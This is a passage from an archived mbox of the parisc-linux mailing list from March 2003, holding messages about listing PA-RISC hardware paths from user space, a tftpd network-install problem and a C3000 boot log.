kOY55qfCwDQD03bK9OGrkPqaXjtQ8w54FEjH1M7bvMMsBRJis70Frw+oj46E04Q4Ogq4i/qV
IQANYh7XUh8hAaZVqel96sOWcLpeXR6qfTRYIBVtLyDsyepVjg5sanuQ5+sg2gRe+DUO8JL1
Ng0DWo6lIS9LgwaBGeBlqaMREMLvxnAQwzPHOxHOU92RU2KMMrsHzxtxrl6/t0m4tt58m27S
OpPmI76BT5cUol2YsXgk8MCrv+yTEQrezOFJTT7a4+xMYsLcORLwboGAVSyucK5ncUmZXfzP
IsWax98dUt6OLCOe+9egJR9bjClecpyFvAjNoPn2I1vBAesufYb3JFXOM3PL0b7Df0O+wcV4
EytfCMDNfRLjTF0iAktaiTTsxpJ64cWKbspJ8PIjGjhoGyVAkAniQDnSW4tBBs2gEAOkGHTr
aZRaKJnhQk3fOaJKK15ktJ+BpVgepg6rfRDR1E9TuUXiI01DOPdFpZbLN3dgalOsPZsEJ23H
oO4LQU13+0NCe4JhC4Km0FbL8cSb5gMv1essXCXeOyqD4k37yamNxiSSDpapl8bwgqlXajxl
YxH2lDDJfvK+W0k9obUHE1RPA30kNXkHEmYXZW4tpqN+FTLpUJkGEOkfTjyHqEPU5qVtBDqX
x8z+8OIxye8puRn2PEy424Ey2Yu+e3kHkN1F2rsLkG6OjgndfradSGQhrLET41DtICwVw1si
jV23E79ud4YeZ6B7LOGOHIeVUZtYPS4xwjnAtn4Ihrxgxu+sNmEebn8SwcbJRTqw6JyAPmS5
yuP1/PCVR+CLc3a6f02QhhRtJEeMNIQpW2b54tA7wj2rEWYXE1/09bGIO7Nc7ox5sjPiCJZj
VCtDKI/RawBrN2bL3dBOdsPajVngCwaD2uc4rN2YLYeiTQZHJDfwzADR3hDVPc10ogVfGBcm
+xYy2CHDgwK4hrPD2ZDA2YOjh4eVApwy3K+mrEgtYR0NCyQ+rI6+C2MZR2RQFYyPXz6g7Pct
Adt9JbvRz3CUdPqOHvOS7HzL4/O3bX1aFQWLCKxvyPKvUZO9u/2XLdxoJ+9/f5anrRJXJURK
zzw6wsRAUVVXq8YVLGIKruDX2Ik16LMF7F4JFpYHiGfx4XGZTngJcAEm8sPsvCCkYGYBcJry
1eQlmP8XN/aQPXrGvS5RBvU+VehSghG7N0NL+D+4fBpmTCOKADUeC8HDCWkB1eMVXAqw73Ti
vvJ66co4jRR9FkVUsv0Z3vKZPTyhr0dHasVcxQfxwYzvkRva/MBVecZUBoD1fb7NCpf7JbYA
F1KVxx9OwP5mlaFHcu9E1TUhFnFV49sXCo3ogHx7mgB+YDpQB1fUcGZaHGRWaMrr4QlBwEBi
k3qh9ZczvVWT12Pek05oERVZJY4msIEW0XT6zey/FByShiWQH62FTVV8hh9QFSHMSPZZsJ/F
5kcXymQD/R1Cxd1nnRnHk4df2iW+9M6HherL1wtYWkVjd4YUraTikfYtXj6wfwHb91TwjJ6B
hXqpKleTooEx2KfVyi0DgHToFLrBqkGdkcTUlHKm2ZIH2VGlYMo5w8LI8D/y27zdeYNdvY26
obKTOpiqFFjTwgcnewT1kdi11ZsmhiAAyyWmwscMefaSYmdeVj9HR1L9j0gr/uG8SC5/UK54
Y3ppNgMXVVuBddWVGc/jUYxg0UCLC72D2pXtUol7JBUJr3Fw5taRhQv9muq5oSAC5voyLyAq
f8TRl4byVIXFnNBsJlWlVfV0SiU8nh+4rtDf6CogZVm6QUcrNaRWyZn/mjBopCJvuEvxAAkZ
nqT/D1yI7KLsvAAA

--u3/rZRmxL6MmkK24--


From - Thu Nov 08 21:27:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Lyonel Vincent <vincentl@ec-lyon.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] enumerating devices from user space
Date: Thu, 13 Mar 2003 11:22:32 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20030313112232.A10172@typhon.pilat.fr>
Reply-To: vincentl@ec-lyon.fr
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622281 22843 80.91.229.3 (22 Nov 2014 02:11:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 13 03:22:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from typhon.homeip.net (voltaire-102-1-75.net1.nerim.net [213.41.188.75])
	by dsl2.external.hp.com (Postfix) with ESMTP id 169BC4834
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Mar 2003 03:22:33 -0700 (MST)
Original-Received: by typhon.homeip.net (Postfix, from userid 500)
	id 0BDD2214311; Thu, 13 Mar 2003 11:22:32 +0100 (CET)
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17921

If you can find this, I will be VERY interested in having a look at it...
Thinking of it, this HP guy may well be me ;o)
You can contact me privately, it may happen that I know your instructor.

cheers,
lv.

> Being as I just got done with a class from HP Education on Linux, this very
> issue was brought up by all of us HP-UX guys.  We love our IOSCAN.  The
> instructor told us that someone within HP actually wrote an "ioscan" for
> Red Hat.  I'm thinking that getting a copy of that source code would be a
> good place to start.  I'm going to do a search for the guy tomorrow or get
> his name from our instructor to see if I can get a hold of his code.
> 
> derek

-- 
The software said it requires Windows 2000 or better, so I installed Linux.


From - Thu Nov 08 21:27:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bootp/tftpd :(
Date: Thu, 13 Mar 2003 12:21:27 +0100
Lines: 70
Approved: news@gmane.org
Message-ID: <EE611482-5545-11D7-A259-0030656F07A2@esiee.fr>
References: <200303130027.55325.trnepal@papuasia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v551)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622282 22851 80.91.229.3 (22 Nov 2014 02:11:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: trnepal <trnepal@papuasia.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 13 04:21:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id A8F4B4834
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Mar 2003 04:21:44 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id E760149BF2; Thu, 13 Mar 2003 12:21:42 +0100 (CET)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 5165149C3A; Thu, 13 Mar 2003 12:21:27 +0100 (CET)
In-Reply-To: <200303130027.55325.trnepal@papuasia.org>
X-Mailer: Apple Mail (2.551)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17922

Le jeudi, 13 mar 2003, =E0 00:27 Europe/Paris, trnepal a =E9crit :

> On Wednesday 12 March 2003 19:57, Thibaut VARENE wrote:
>
>> There's something wrong with you.
>> Rule nb 1: NEVER answer in private to a mailing-list message.
>
> ok, im sorry. i wrote directly to you cause my reply was a bit=20
> fast&silly ..
> you noticed that :).
obviously you still haven't found the "Reply All" command in your mail=20=

client.
>
>> Rule nb 2: NEVER claim there's a bug for software that works =
perfectly
>> well for thousands of peoples (unless you run unstable, but then=20
>> ALWAYS
>> blame yourself).
>
> yeah. i know. i always blame myself :). anyway i only said 'something=20=

> like a
> bug', cause my tftpd (woody stable) is correcting serving file only
> from /tftpboot//image (double slash .. uh, strange).
bad configuration in inetd and/or bad request from the client?
>
>> Rule nb 3: ALWAYS suspect a problem with the hardware when something
>> goes wrong. (moreover if the hardware seems to have already failed.
>> What's that scsi error you're talking about ?)
>
> i noticed errors (scsi command not executed and bus reset) issuing
> a dmesg (after escaping to a shell during the install process) with
> an external cdrom attached to the scsi-2 port. but i didnt quote cause=20=

> i lost
> them after the reboot (ok, i didnt wrote down something and i blame=20
> myself :)
still I can't help without output.
>
>> and what's that superblock/filesystem stuff you're talking about, how
>> did you get to that step?
>> network images only contains a kernel, they're not supposed to launch
>> any installer...
>
> lifimages i downloaded from =
http://pateam.esiee.fr/cd-images/lifimages/
> contain a kernel + a debian installer and the 712 crashed during =
ext2/3
> init.
dead hard drive?
>
>> let me suggest you to check items 2) and 6) from the template message
>> as well.
>
> ok, anyway i tried lifimage-2.4.19-pa16-PDC-20020914 and it worked !!
> (im downloading the base system)
cool.
>
> sorry for the annoyance maybe i posted only my anxiety about ..=20
> seeyou. byee,'
relax: watch a game, have a beer... True.


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/=




From - Thu Nov 08 21:27:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bruno_vidal@hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] enumerating devices from user space
Date: Thu, 13 Mar 2003 12:30:44 +0100
Organization: H.P
Lines: 38
Approved: news@gmane.org
Message-ID: <3E706BE4.E53961BD@hp.com>
References: <20030313112232.A10172@typhon.pilat.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------BBCFCECF468619559B697D35"
X-Trace: ger.gmane.org 1416622282 22853 80.91.229.3 (22 Nov 2014 02:11:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 13 04:32:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id B5F034834
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Mar 2003 04:32:04 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 68399253C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Mar 2003 12:30:54 +0100 (MET)
Original-Received: from hp.com (ssdpc48.france.hp.com [15.129.234.2])
	by hpfrcu03.france.hp.com (8.9.3 (PHNE_25183+JAGae58098)/8.9.3 SMKit7.02) with ESMTP id MAA27559
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Mar 2003 12:30:40 +0100 (MET)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.7-10 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17923

This is a multi-part message in MIME format.
--------------BBCFCECF468619559B697D35
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: base64

ICAgIEhpIGd1eXMuDQpXaGlsZSBkZXZlbG9wcGluZyB0aGUgZHVtcCBtb2R1bGVzLCBJIGhh
ZCB0byBmaW5kIGEgd2F5IHRvIHJldHJpZXZlDQp0aGUgaGFyZHdhcmUgcGF0aCBvZiBkaXNr
L2hiYS4gU28gSSBoYWQgdG8gZGV2ZWxvcHBlIGEgc21hbGwgaGFjaw0KaW4gdGhlIGtlcm5l
bC9maXJtd2FyZS5jIGluIG9yZGVyIHRvIHJldHJpdmUgdGhlIHJpZ2h0IGhiYS4NCkJ1dCBp
dCBpcyBwYXJpc2MgZGVwZW5kYW50LiBEbyB5b3Ugd2FudCBJIHRyeSB0byBhZGQgYW4gaW9j
dGwgaW4gbXkNCmR1bXAgbW9kdWxlcyBpbiBvcmRlciB0byBwcmludCBpbiB1c2VyIHNwYWNl
IHRoaXMgaW5mb3JtYXRpb25zID8NCkV4YW1wbGU6DQoNCnNpemU6MTUwMDE2MCBucl9zZWN0
czozMDAwMzIwIHN0YXJ0X3NlY3Q6Mzc0Nzg0DQpod3BhdGg6IDAvMC8xLzEuMTUuMC4wLg0K
ZHVtcCBkZXZpY2Ugb3BlbmVkOiAweDgxMyB3aXRoIGluZGV4OiAwIGF0IGhwYTogMHg5MDAN
Cg0KU28gbXkgZnVuY3Rpb25zIGFyZSBhYmxlIHRvIHByaW50IHRoZSBodyBwYXRoIG9mIGVh
Y2ggaW8gbW9kdWxlcy4NCklzIGl0IHdoYXQgeW91IGFyZSBsb29raW5nIGZvciA/DQoNCi0t
DQogICAgICAgIFZpZGFsIEJydW5vLCAoNzcwLTQyNzEpDQogICAgICAgIFNTRC1IQSBUZWFt
LCBIUC1VWCAmIExJTlVYIFN1cHBvcnQNCiAgICAgICAgYnJ1bm9fdmlkYWxAYWRtaW4uZnJh
bmNlLmhwLmNvbQ0KDQoNCg==
--------------BBCFCECF468619559B697D35
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for 
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------BBCFCECF468619559B697D35--



From - Thu Nov 08 21:27:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Lyonel Vincent <vincentl@ec-lyon.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] enumerating devices from user space
Date: Thu, 13 Mar 2003 13:45:58 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <20030313134558.6cf9177c.vincentl@ec-lyon.fr>
References: <20030313112232.A10172@typhon.pilat.fr>
	<3E706BE4.E53961BD@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622282 22858 80.91.229.3 (22 Nov 2014 02:11:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: bruno_vidal@hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 13 05:45:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gremg1.net.external.hp.com (grenmg1.net.external.hp.com [155.208.254.57])
	by dsl2.external.hp.com (Postfix) with ESMTP id 448814834
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Mar 2003 05:45:41 -0700 (MST)
Original-Received: from concerto.grenoble.hp.com (concerto.grenoble.hp.com [15.128.15.118])
	by gremg1.net.external.hp.com (Postfix) with ESMTP
	id EAE13202; Thu, 13 Mar 2003 13:45:39 +0100 (MET)
Original-Received: from dhcp-15-204-125-53.grenoble.hp.com (dhcp-15-204-125-53.grenoble.hp.com [15.204.125.53])
	by concerto.grenoble.hp.com (8.9.3 (PHNE_25183+JAGae58098)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id NAA05362;
	Thu, 13 Mar 2003 13:45:28 +0100 (MET)
In-Reply-To: <3E706BE4.E53961BD@hp.com>
X-Mailer: Sylpheed version 0.8.11 (GTK+ 1.2.10; i686-pc-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17924

Hi Bruno,

That sounds like what I was looking for (HW path + version information)!
What do you think is the best approach?

cheers,
lv.

On Thu, 13 Mar 2003 12:30:44 +0100
bruno_vidal@hp.com wrote:

>     Hi guys.
> While developping the dump modules, I had to find a way to retrieve
> the hardware path of disk/hba. So I had to developpe a small hack
> in the kernel/firmware.c in order to retrive the right hba.
> But it is parisc dependant. Do you want I try to add an ioctl in my
> dump modules in order to print in user space this informations ?
> Example:
> 
> size:1500160 nr_sects:3000320 start_sect:374784
> hwpath: 0/0/1/1.15.0.0.
> dump device opened: 0x813 with index: 0 at hpa: 0x900
> 
> So my functions are able to print the hw path of each io modules.
> Is it what you are looking for ?
> 
> --
>         Vidal Bruno, (770-4271)
>         SSD-HA Team, HP-UX & LINUX Support
>         bruno_vidal@admin.france.hp.com
> 
> 




From - Thu Nov 08 21:27:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FYA - C3000 adventure
Date: Thu, 13 Mar 2003 12:55:11 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20030313125511.GA29631@parcelfarce.linux.theplanet.co.uk>
References: <20030313070230.GB5865@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622282 22859 80.91.229.3 (22 Nov 2014 02:11:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 13 05:55:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 84A874839
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Mar 2003 05:55:12 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.12)
	id 18tSEp-0007pp-00; Thu, 13 Mar 2003 12:55:11 +0000
Content-Disposition: inline
In-Reply-To: <20030313070230.GB5865@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17925

On Thu, Mar 13, 2003 at 12:02:30AM -0700, Grant Grundler wrote:
> After powering off all 20 SCSI drives (damn SCSI subsystem is *way*
> too verbose), I was finally able to collect a full boot log via dmesg:

We can up the size of the dmesg buffer.  Might be easier ;-)

> ...
> lba version TR2.0 (0x1) found at 0xfed38000
> Can't support LBA older than TR2.1 - continuing under adversity.

Note to self: find replacement C3k IO board for grant.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FYA - C3000 adventure
Date: Thu, 13 Mar 2003 05:06:59 -0800 (PST)
Lines: 43
Approved: news@gmane.org
Message-ID: <20030313130659.20168.qmail@web12503.mail.yahoo.com>
References: <20030313125511.GA29631@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-1945929657-1047560819=:20023"
X-Trace: ger.gmane.org 1416622283 22861 80.91.229.3 (22 Nov 2014 02:11:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 13 06:07:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12503.mail.yahoo.com (web12503.mail.yahoo.com [216.136.173.195])
	by dsl2.external.hp.com (Postfix) with SMTP id 24F5A4834
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Mar 2003 06:07:00 -0700 (MST)
Original-Received: from [12.24.253.152] by web12503.mail.yahoo.com via HTTP; Thu, 13 Mar 2003 05:06:59 PST
In-Reply-To: <20030313125511.GA29631@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17926

--0-1945929657-1047560819=:20023
Content-Type: text/plain; charset=us-ascii


 
 Matthew Wilcox <willy@debian.org> wrote: 
On Thu, Mar 13, 2003 at 12:02:30AM -0700, Grant Grundler wrote:
> After powering off all 20 SCSI drives (damn SCSI subsystem is *way*
> too verbose), I was finally able to collect a full boot log via dmesg:

We can up the size of the dmesg buffer. Might be easier ;-)

> ...
> lba version TR2.0 (0x1) found at 0xfed38000
> Can't support LBA older than TR2.1 - continuing under adversity.

Note to self: find replacement C3k IO board for grant.

 

That would be the C3k.....the I/O is attached to the system card.  The motherboard with processor attached including all the I/O ports are one part number.

derek




---------------------------------
Do you Yahoo!?
Yahoo! Web Hosting - establish your business online
--0-1945929657-1047560819=:20023
Content-Type: text/html; charset=us-ascii

<P> 
<P>&nbsp;<B><I>Matthew Wilcox &lt;willy@debian.org&gt;</I></B> wrote: 
<BLOCKQUOTE style="BORDER-LEFT: #1010ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px">
<P>On Thu, Mar 13, 2003 at 12:02:30AM -0700, Grant Grundler wrote:<BR>&gt; After powering off all 20 SCSI drives (damn SCSI subsystem is *way*<BR>&gt; too verbose), I was finally able to collect a full boot log via dmesg:<BR><BR>We can up the size of the dmesg buffer. Might be easier ;-)<BR><BR>&gt; ...<BR>&gt; lba version TR2.0 (0x1) found at 0xfed38000<BR>&gt; Can't support LBA older than TR2.1 - continuing under adversity.<BR><BR>Note to self: find replacement C3k IO board for grant.</P>
<P>&nbsp;</P>
<P>That would be the C3k.....the I/O is attached to the system card.&nbsp; The motherboard&nbsp;with processor attached including all the I/O ports are one part number.</P>
<P>derek<BR></P></BLOCKQUOTE><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://webhosting.yahoo.com/ps/wh3/prod/">Yahoo! Web Hosting</a> - establish your business online
--0-1945929657-1047560819=:20023--


From - Thu Nov 08 21:27:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FYA - C3000 adventure
Date: Thu, 13 Mar 2003 10:50:29 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20030313175029.GB23118@dsl2.external.hp.com>
References: <20030313070230.GB5865@dsl2.external.hp.com> <20030313125511.GA29631@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622283 22865 80.91.229.3 (22 Nov 2014 02:11:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 13 10:50:30 2003
